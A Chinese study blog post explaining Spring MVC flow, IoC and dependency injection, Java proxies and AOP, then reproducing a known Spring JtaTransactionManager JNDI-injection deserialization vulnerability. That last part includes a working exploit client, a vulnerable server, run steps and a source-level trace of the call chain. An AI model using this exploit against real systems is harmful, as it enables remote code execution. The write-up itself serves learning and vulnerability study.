Spring是一个轻量级的Java Web开发框架,是分层的Java SE/EE full-stack轻量级开源框架,以IoC(Inverse of Control,控制反转)和AOP(Aspect Oriented Programming,面向切面编程)为内核,使用基本的JavaBean完成以前只可能由EJB完成的工作,取代了EJB臃肿和低效的开发模式。
1.发起请求到前端控制器(DispatcherServlet)
2.前端控制器请求处理器映射器(HandlerMapping)查找Handler(可根据xml配置、注解进行查找)
3.处理器映射器(HandlerMapping)向前端控制器返回Handler
4.前端控制器调用处理器适配器(HandlerAdapter)执行Handler
5.Handler执行完,给适配器返回ModelAndView(Springmvc框架的一个底层对象)
6.处理器适配器(HandlerAdapter)向前端控制器返回ModelAndView
7.前端控制器(DispatcherServlet)请求视图解析器(ViewResolver)进行视图解析,根据逻辑视图名解析成真正的视图(jsp)
8.视图解析器(ViewResolver)向前端控制器(DispatcherServlet)返回View
9.前端控制器进行视图渲染,即将模型数据(在ModelAndView对象中)填充到request域
10.前端控制器向用户响应结果
IoC思想的作用:主要可通过IoC写出松耦合,更优良的程序。
在之前的编程中,当我们当前的类依赖另一个类的时候,我们会在这个类的内部去主动创建所依赖的类,从而会导致类之间的高耦合。
而在Spring 框架中:有了IoC容器,容器会自动帮我们去查找以及注入所依赖对象,对象不再是去主动创建所依赖的类,而是被动的接受所依赖的类,并且new实例工作不由程序来做而是交给Spring容器去做,这也就是为什么IoC叫做控制反转的原由。
Spring提供了两种IoC容器,分别为BeanFactory和ApplicationContext。
在现在的开发工作中,都会尽可能的使用ApplicationContext而非BeanFactory
BeanFactory的类体系结构
而BeanFactory最常用的API为XmlBeanFactory
Demo略
ApplicationContext类体系:
ApplicationContext 最常用接口:
Demo略
在获取ApplicationContext实例后,就可以像BeanFactory一样调用getBean(beanName)返回Bean了。ApplicationContext的初始化和BeanFactory有一个重大的区别:BeanFactory在初始化容器时,并未实例化Bean,直到第一次访问某个Bean时才实例化目标Bean;而ApplicationContext则在初始化应用上下文时就实例化所有单实例的Bean。
当某个Java实例需要另一个Java实例时,传统的方法是由调用者创建被调用者的实例(例如,使用new关键字获得被调用者实例),而使用Spring框架后,被调用者的实例不再由调用者创建,而是由Spring容器创建,这称为控制反转。Spring容器在创建被调用者的实例时,会自动将调用者需要的对象实例注入给调用者,这样,调用者通过Spring容器获得被调用者实例,这称为依赖注入。
而Spring 正是通过这种依赖注入来管理Bean对象之间的依赖关系
依赖注入主要实现的两种方法有setter和构造方法注入:
public class HelloWorld {
private String msg;
public String getMsg() {
return msg;
}
public void setMsg(String msg) {
this.msg = msg;
}
}
<bean id="helloBean" class="com.spring.demo.HelloWorld">
<property name="msg" value="Hello World!"/>
</bean>
public class HelloWorld {
private Message msg;
public HelloWorld(Message msg){
this.msg = msg;
}
public Message getMsg() {
return msg;
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
<bean id="helloclass" class="com.time.Helloworld">
<constructor-arg ref="msg"/>
</bean>
<bean id="msg" class="com.test.time" />
</beans>
package com.sw.action;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
public class DI {
private Map map;
private Set Set;
private List list;
private Properties pro;
public Map getMap() {
return map;
}
public void setMap(Map map) {
this.map = map;
}
public Set getSet() {
return Set;
}
public void setSet(Set set) {
Set = set;
}
public List getList() {
return list;
}
public void setList(List list) {
this.list = list;
}
public Properties getPro() {
return pro;
}
public void setPro(Properties pro) {
this.pro = pro;
}
}
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<beans>
<bean id="di" class="com.sw.action.DI">
<!-- List注入 -->
<property name="list">
<list>
<value>list1</value>
<value>list2</value>
<value>list3</value>
</list>
</property>
<!-- Set注入 -->
<property name="set">
<set>
<value>set1</value>
<value>set2</value>
<value>set3</value>
</set>
</property>
<!-- Map注入 -->
<property name="map">
<map>
<entry key="1">
<value>one</value>
</entry>
<entry key="2">
<value>two</value>
</entry>
<entry key="3">
<value>three</value>
</entry>
</map>
</property>
<!-- Properties注入 -->
<property name="pro">
<props>
<prop key="1">one</prop>
<prop key="2">two</prop>
<prop key="3">three</prop>
</props>
</property>
</bean>
</beans>
调用函数取出内容
package com.sw.test;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import com.sw.action.DI;
public class TestDI {
public static void main(String[] args) {
ApplicationContext actx = new ClassPathXmlApplicationContext(
"config-di.xml");
DI di = (DI) actx.getBean("di");
// 打印这些集合
System.out.println(di.getList());
System.out.println(di.getSet());
System.out.println(di.getMap());
System.out.println(di.getPro());
}
在写AOP前先先来写下三种Java中的代理:静态代理,动态代理,CGLIB代理
IUser接口
public interface IUser {
void save();
}
AOP类
public class AOP {
public void begin() {
System.out.println("开始事务");
}
public void close() {
System.out.println("关闭事务");
}
}
代理工厂
public class ProxyFactory {
//维护目标对象
private static Object target;
//维护关键点代码的类
private static AOP aop;
public static Object getProxyInstance(Object target_, AOP aop_) {
//目标对象和关键点代码的类都是通过外界传递进来
target = target_;
aop = aop_;
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
aop.begin();
Object returnValue = method.invoke(target, args);
aop.close();
return returnValue;
}
}
);
}
}
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:aop="http://www.springframework.org/schema/aop"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd">
<context:component-scan base-package="aa"/>
<!-- 开启aop注解方式 -->
<aop:aspectj-autoproxy></aop:aspectj-autoproxy>
</beans>
切面类
@Component
@Aspect//指定为切面类
public class AOP {
//里面的值为切入点表达式
@Before("execution(* aa.*.*(..))")
public void begin() {
System.out.println("开始事务");
}
@After("execution(* aa.*.*(..))")
public void close() {
System.out.println("关闭事务");
}
}
实现接口的UserDao类
@Component
public class UserDao implements IUser {
@Override
public void save() {
System.out.println("DB:保存用户");
}
}
测试代码
public class App {
public static void main(String[] args) {
ApplicationContext ac =
new ClassPathXmlApplicationContext("aa/applicationContext.xml");
//这里得到的是代理对象....
IUser iUser = (IUser) ac.getBean("userDao");
System.out.println(iUser.getClass());
iUser.save();
}
}
漏洞复现项目:
https://github.com/zerothoughts/spring-jndi
Client端
import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
public class ExploitClient {
public static void main(String[] args) {
try {
int port = 6666;
String localAddress= "127.0.0.1";
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
Socket socket = new Socket(localAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
Server端
import java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(6666);
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
本地8000端口开启Web服务,并将ExportObject.class放在Web服务下
先运行Server端,再运行Client端
跟进org.springframework.transaction.jta.JtaTransactionManager下readobject方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();
// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();
// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}
跟进initUserTransactionAndTransactionManager()
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
}
else {
this.userTransaction = retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
// Autodetect UserTransaction at its default JNDI location.
this.userTransaction = findUserTransaction();
}
}
}
if (this.transactionManager == null) {
// Fetch JTA TransactionManager from JNDI, if necessary.
if (StringUtils.hasLength(this.transactionManagerName)) {
this.transactionManager = lookupTransactionManager(this.transactionManagerName);
}
else {
this.transactionManager = retrieveTransactionManager();
if (this.transactionManager == null && this.autodetectTransactionManager) {
// Autodetect UserTransaction object that implements TransactionManager,
// and check fallback JNDI locations otherwise.
this.transactionManager = findTransactionManager(this.userTransaction);
}
}
}
// If only JTA TransactionManager specified, create UserTransaction handle for it.
if (this.userTransaction == null && this.transactionManager != null) {
this.userTransaction = buildUserTransaction(this.transactionManager);
}
}
跟进lookupUserTransaction函数
protected UserTransaction lookupUserTransaction(String userTransactionName)
throws TransactionSystemException {
try {
if (logger.isDebugEnabled()) {
logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
}
catch (NamingException ex) {
throw new TransactionSystemException(
"JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
}
}
接着跟进getJndiTemplate().lookup(userTransactionName, UserTransaction.class)
进一步跟进lookup
public Object lookup(final String name) throws NamingException {
if (logger.isDebugEnabled()) {
logger.debug("Looking up JNDI object with name [" + name + "]");
}
return execute(new JndiCallback<Object>() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}
这个lookup函数正是造成JNDI注入的lookup函数,在调用链中,我们可以通过userTransactionName属性值进行JNDI注入,而在client端,我们可以通过调用setUserTransactionName()函数去设置这个属性值,将其设置为我们的userTransactionName属性值,也就是我们设置的恶意RMI服务,进而造成JNDI注入。
PS:吐槽一下..在家学习效率可真太低了…一天的量感觉得分四五天…